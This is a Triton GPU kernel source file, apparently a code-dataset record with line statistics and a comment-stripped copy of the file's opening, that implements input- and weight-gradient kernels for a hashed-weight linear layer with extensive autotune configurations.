'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
], key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_weight_grad_kernel_tf32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_ak,
stride_bm, stride_bn,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=True,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_weight_grad_kernel_notune(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_ak,
stride_bm, stride_bn,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=allow_tf32,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_weight_grad_core(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_ak,
stride_bm, stride_bn,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
"""Kernel for computing the matmul C = A^T x B.
A has shape (M, K), B has shape (M, N) and C has shape (K, N)
"""
pid = tl.program_id(axis=0)
num_pid_k = tl.cdiv(K, BLOCK_SIZE_K)
num_pid_n = tl.cdiv(N, BLOCK_SIZE_N)
num_pid_in_group = GROUP_SIZE * num_pid_n
group_id = pid // num_pid_in_group
first_pid_k = group_id * GROUP_SIZE
group_size_k = min(num_pid_k - first_pid_k, GROUP_SIZE)
pid_k = first_pid_k + (pid % group_size_k)
pid_n = (pid % num_pid_in_group) // group_size_k
# [BLOCK_SIZE_K, BLOCK_SIZE_M]
offs_ak = pid_k * BLOCK_SIZE_K + tl.arange(0, BLOCK_SIZE_K)
offs_am = tl.arange(0, BLOCK_SIZE_M)
a_ptrs = a_ptr + offs_ak[:, None] * \
stride_am + offs_am[None, :] * stride_ak
# [BLOCK_SIZE_M, BLOCK_SIZE_N]
offs_bn = pid_n * BLOCK_SIZE_N + tl.arange(0, BLOCK_SIZE_N)
offs_bm = tl.arange(0, BLOCK_SIZE_M)
b_ptrs = b_ptr + offs_bm[:, None] * \
stride_bm + offs_bn[None, :] * stride_bn
# [BLOCK_SIZE_K, BLOCK_SIZE_N]
c = tl.zeros((BLOCK_SIZE_K, BLOCK_SIZE_N), dtype=tl.float32)
for _ in range(0, M//BLOCK_SIZE_M):
# Note that for simplicity, we don't apply a mask here.
# This means that if M is not a multiple of BLOCK_SIZE_M,
# this will access out-of-bounds memory and produce an
# error or (worse!) incorrect results.
# TODO(Keren): Add M checks
a = tl.load(a_ptrs)
b = tl.load(b_ptrs)
# We accumulate along the M dimension
c += tl.dot(a, b, allow_tf32=allow_tf32)
# Advance the ptrs to the next M block
a_ptrs += BLOCK_SIZE_M * stride_ak
b_ptrs += BLOCK_SIZE_M * stride_bm
# -----------------------------------------------------------
# Write back the block of the output matrix C
c_offset = c_ptr + tl.arange(0, BLOCK_SIZE_K)[:, None] * \
BLOCK_SIZE_N + tl.arange(0, BLOCK_SIZE_N)[None, :]
c_ptrs = c_offset + (pid_k * R3 + pid_n * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
tl.atomic_add(c_ptrs, c)
def rz_linear_backward_input_grad_tl(output_grad: torch.tensor, hashed_weight: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = True,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 4) -> torch.tensor:
'''
Compute output_grad x hashed_weight^T and return an input_grad tensor
Args:
output_grad (Tensor): A MxN tensor
hashed_weight (Tensor): A 1xH (KxN) tensor
M, K, N, H (int): matrix dimensions
R3, R2, R1, R0 (int): random numbers
allow_tf32 (bool): If tensor core is allowed
BLOCK_SIZE_M, BLOCK_SIZE_N, BLOCK_SIZE_K, GROUP_SIZE: Matrix tiling parameters for performance tunning
Returns:
input_grad (Tensor): A MxK tensor
'''
assert (M % 4 == 0)
assert (K % 4 == 0)
# allocates output
input_grad = torch.empty(
(M, K), device=output_grad.device, dtype=output_grad.dtype)
if allow_tf32:
assert (N % 32 == 0)
else:
assert (N % 8 == 0)
# 1D launch kernel where each block gets its own program.
def grid(META): return (
triton.cdiv(M, META['BLOCK_SIZE_M']) *
triton.cdiv(K, META['BLOCK_SIZE_K']),
)
if allow_autotune:
if allow_tf32:
rz_linear_backward_input_grad_kernel_tf32[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_input_grad_kernel_fp32[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_input_grad_kernel_notune[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
num_warps=4,
num_stages=3,
BLOCK_SIZE_M=BLOCK_SIZE_M,
BLOCK_SIZE_N=BLOCK_SIZE_N,
BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE
)
return input_grad
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 32, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 32, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
],
key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_input_grad_kernel_fp32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=False,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
], key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_input_grad_kernel_tf32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=True,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_input_grad_kernel_notune(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_input_grad_core(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
"""Kernel for computing the matmul C = (A x B^T)
A has shape (M, N), B has shape H->(K, N) and C has shape (M, K)
"""
pid = tl.program_id(axis=0)
num_pid_k = tl.cdiv(K, BLOCK_SIZE_K)
num_pid_m = tl.cdiv(M, BLOCK_SIZE_M)
pid_m = pid // num_pid_k
pid_k = pid % num_pid_k
# [BLOCK_SIZE_M, BLOCK_SIZE_N]
offs_am = pid_m * BLOCK_SIZE_M + tl.arange(0, BLOCK_SIZE_M)
offs_an = tl.arange(0, BLOCK_SIZE_N)
a_ptrs = a_ptr + offs_am[:, None] * \
stride_am + offs_an[None, :] * stride_an
# [BLOCK_SIZE_N, BLOCK_SIZE_K]
# Compute hash
b_offset = b_ptr + \
tl.arange(0, BLOCK_SIZE_N)[
:, None] + tl.arange(0, BLOCK_SIZE_K)[None, :] * BLOCK_SIZE_N
b_ptrs = b_offset + (pid_k * R3 + 0 * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
# [BLOCK_SIZE_M, BLOCK_SIZE_K]
c = tl.zeros((BLOCK_SIZE_M, BLOCK_SIZE_K), dtype=tl.float32)
for n in range(0, N//BLOCK_SIZE_N):
# Note that for simplicity, we don't apply a mask here.
# This means that if N is not a multiple of BLOCK_SIZE_N,
# this will access out-of-bounds memory and produce an
# error or (worse!) incorrect results.
# TODO(Keren): Add N checks
a = tl.load(a_ptrs)
b = tl.load(b_ptrs)
# We accumulate along the N dimension
c += tl.dot(a, b, allow_tf32=allow_tf32)
# Advance the ptrs to the next N block
a_ptrs += BLOCK_SIZE_N * stride_an
b_ptrs = b_offset + (pid_k * R3 + (n + 1) * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
# -----------------------------------------------------------
# Write back the block of the output matrix C
# [BLOCK_SIZE_M, BLOCK_SIZE_K]
offs_ck = pid_k * BLOCK_SIZE_K + tl.arange(0, BLOCK_SIZE_K)
offs_cm = pid_m * BLOCK_SIZE_M + tl.arange(0, BLOCK_SIZE_M)
c_ptrs = c_ptr + stride_cm * \
offs_cm[:, None] + stride_ck * offs_ck[None, :]
c_mask = (offs_cm[:, None] < M) & (offs_ck[None, :] < K)
tl.store(c_ptrs, c, mask=c_mask)
| 48.124431 | 159 | 0.574037 | from typing import Tuple
import torch
import triton
import triton.language as tl
def rz_linear_backward_tl(input: torch.tensor, hashed_weight: torch.tensor, output_grad: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = False,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 4) -> Tuple[torch.tensor, torch.tensor]:
input_grad = rz_linear_backward_input_grad_tl(output_grad, hashed_weight, M, K, N, H, R3, R2, R1, R0, allow_tf32=allow_tf32, allow_autotune=allow_autotune,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
weight_grad = rz_linear_backward_weight_grad_tl(input, output_grad, M, K, N, H, R3, R2, R1, R0, allow_tf32=allow_tf32, allow_autotune=allow_autotune,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
return input_grad, weight_grad
def rz_linear_backward_weight_grad_tl(input: torch.tensor, output_grad: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = True,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 8) -> torch.tensor:
assert (K % 4 == 0)
assert (N % 4 == 0)
hashed_weight_grad = torch.zeros(
(H), device=output_grad.device, dtype=output_grad.dtype)
def grid(META): return (
triton.cdiv(K, META['BLOCK_SIZE_K']) *
triton.cdiv(N, META['BLOCK_SIZE_N']),
)
if allow_tf32:
assert (M % 32 == 0)
else:
assert (M % 8 == 0)
if allow_autotune:
if allow_tf32:
rz_linear_backward_weight_grad_kernel_tf32[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_weight_grad_kernel_fp32[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_weight_grad_kernel_notune[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
GROUP_SIZE=GROUP_SIZE,
BLOCK_SIZE_K=BLOCK_SIZE_K,
BLOCK_SIZE_M=BLOCK_SIZE_M,
BLOCK_SIZE_N=BLOCK_SIZE_N
)
return hashed_weight_grad
@triton.autotune(
configs=[
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 32, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 32, 'BLOCK_SIZE_K': 128,
